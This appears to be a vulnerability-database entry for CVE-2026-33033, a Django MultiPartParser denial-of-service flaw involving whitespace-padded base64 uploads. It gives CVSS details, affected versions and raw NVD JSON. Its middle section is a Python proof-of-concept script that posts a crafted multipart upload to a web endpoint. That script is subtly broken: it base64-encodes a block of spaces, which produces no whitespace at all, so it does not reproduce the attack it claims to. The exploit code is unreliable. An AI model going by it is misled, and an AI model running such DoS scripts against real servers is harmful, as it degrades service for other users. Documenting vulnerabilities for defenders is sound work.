CVE-2026-33033

Description

An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. `MultiPartParser` allows remote attackers to degrade performance by submitting multipart uploads with `Content-Transfer-Encoding: base64` including excessive whitespace. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Seokchan Yoon for reporting this issue.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:* - VULNERABLE

Django 6.0 < 6.0.4

Django 5.2 < 5.2.13

Django 4.2 < 4.2.30

Django 5.0.x (可能受影响)

Django 4.1.x (可能受影响)

Django 3.2.x (可能受影响)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (replace with actual vulnerable endpoint)
target_url = "http://localhost:8000/upload/"

# Prepare a large payload with whitespace to trigger the performance degradation
# The description mentions 'Content-Transfer-Encoding: base64 including excessive whitespace'
# We simulate this by sending a file part with the specific encoding header.

# Create a large string of spaces
whitespace_payload = b" " * 1000000  # 1MB of spaces

# Encode to base64 as implied by the vulnerability description
import base64
encoded_payload = base64.b64encode(whitespace_payload)

files = {
    'file': ('exploit.txt', encoded_payload, 'text/plain', {
        'Content-Transfer-Encoding': 'base64'
    })
}

data = {
    'description': 'DoS test payload'
}

try:
    print(f"Sending payload to {target_url}...")
    response = requests.post(target_url, files=files, data=data)
    print(f"Response status code: {response.status_code}")
except Exception as e:
    print(f"Error during request: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33033
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33033
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33033/
[4] VulDB https://vuldb.com/cve/CVE-2026-33033
[5] https://docs.djangoproject.com/en/dev/releases/security/
[6] https://groups.google.com/g/django-announce
[7] https://www.djangoproject.com/weblog/2026/apr/07/security-releases/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33033", "sourceIdentifier": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "published": "2026-04-07T15:17:39.220", "lastModified": "2026-04-13T17:39:05.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30.\n`MultiPartParser` allows remote attackers to degrade performance by submitting multipart uploads with `Content-Transfer-Encoding: base64` including excessive whitespace.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\nDjango would like to thank Seokchan Yoon for reporting this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-407"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2", "versionEndExcluding": "4.2.30", "matchCriteriaId": "C78D8198-229F-45A2-B09D-C1D272878E3E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2", "versionEndExcluding": "5.2.13", "matchCriteriaId": "5ED295FD-7063-40A1-9A3E-C0CC4D6F7BD3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.0.4", "matchCriteriaId": "344A677E-BD67-42F0-9746-5B0D4C53815E"}]}]}], "references": [{"url": "https://docs.djangoproject.com/en/dev/releases/security/", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://groups.google.com/g/django-announce", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Release Notes"]}, {"url": "https://www.djangoproject.com/weblog/2026/apr/07/security-releases/", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Patch", "Vendor Advisory"]}]}}